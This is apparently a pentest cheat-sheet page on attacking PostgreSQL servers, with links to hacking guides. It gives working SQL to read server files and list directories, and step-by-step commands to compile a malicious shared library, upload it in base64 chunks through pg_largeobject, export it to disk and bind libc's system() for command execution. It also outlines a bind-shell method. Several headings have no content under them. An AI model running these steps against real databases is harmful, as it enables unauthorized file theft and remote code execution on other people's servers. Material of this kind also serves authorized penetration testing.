postgresql
POSTGRESQL
Hacking Postgres https://github.com/nixawk/pentest-wiki/blob/master/2.Vulnerability-Assessment/Database-Assessment/postgresql/postgresql_hacking.md
Basic Knowledge of Postgresql https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9
How to get command execution with 9.x Postgresql https://www.dionach.com/blog/postgresql-9x-remote-command-execution
Download Postgresql https://www.enterprisedb.com/downloads/postgres-postgresql-downloads
Repository https://www.postgresql.org/ftp/source/
select pg_read_file('postgresql.conf');
select pg_ls_dir('./');
Authors: < nixawk >
##############
Read Files
CREATE TABLE word(t TEXT); COPY word FROM '/var/lib/postgresql/flag.txt'; SELECT * FROM word limit 1 offset 0;
##############
#####################################
RAW Steps to command execution
#####################################
On Attacker Machine
gcc -I$(/opt/PostgreSQL/9.6/bin/pg_config --includedir-server) -shared -fPIC -o /opt/pgexec/pg_exec.so /opt/pgexec/pg_exec.c
Now upload the pg_exec.so to the victim machine
On Victim Machine
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE c STRICT;
\set c0 base64 -w 0 /tmp/xaa INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 0, decode(:'c0', 'base64'));
\set c1 base64 -w 0 /tmp/xab INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 1, decode(:'c1', 'base64'));
\set c2 base64 -w 0 /tmp/xac INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 2, decode(:'c2', 'base64'));
\set c3 base64 -w 0 /tmp/xad INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 3, decode(:'c3', 'base64'));
\set c4 base64 -w 0 /tmp/xae INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 4, decode(:'c4', 'base64'));
\set c5 base64 -w 0 /tmp/xaf INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 5, decode(:'c5', 'base64'));
\set c6 base64 -w 0 /tmp/xag INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 6, decode(:'c6', 'base64'));
\set c7 base64 -w 0 /tmp/xah INSERT INTO pg_largeobject (loid, pageno, data) values (16420, 7, decode(:'c7', 'base64'));
SELECT lo_export(16420, '/tmp/pg_exec.so');
POSTGRESQL HACK#
DATABASE CONNECTION##
Please connect to postgresql database,
DATABASE COMMANDS##
LIST DATABASES###
LIST DATABASE USERS###
Please try more details about postgresql database.
LIST DIRECTORY##
READ FILE##
method1
method2
WRITE FILE##
UDF HACK##
COMPILE SOURCE###
COMMAND EXECUTION###
transfrom udf.so to hex strings.
upload udf.so with databse features.
Library is too large, and we need to split it to some pieces. Please read https://github.com/sqlmapproject/sqlmap/issues/1170.
upload library successfully, and then create Postgresql FUNCTION.
Execute commands with sys_exec, and nothing returns.
Please clear functions after commands execution.
BIND SHELL###
compile source code,
copy nc.so to postgresql tmp path, or you can upload so file with database features.
create FUNCTION exec for bind shell. And client connects to target.
METASPLOIT POSTGRESQL MODULES##
REFERENCES#
https://github.com/sqlmapproject/udfhack/ https://github.com/sqlmapproject/sqlmap/issues/1170 http://zone.wooyun.org/content/4971 http://drops.wooyun.org/tips/6449 http://bernardodamele.blogspot.com/2009/01/command-execution-with-postgresql-udf.html
Last updated
Was this helpful?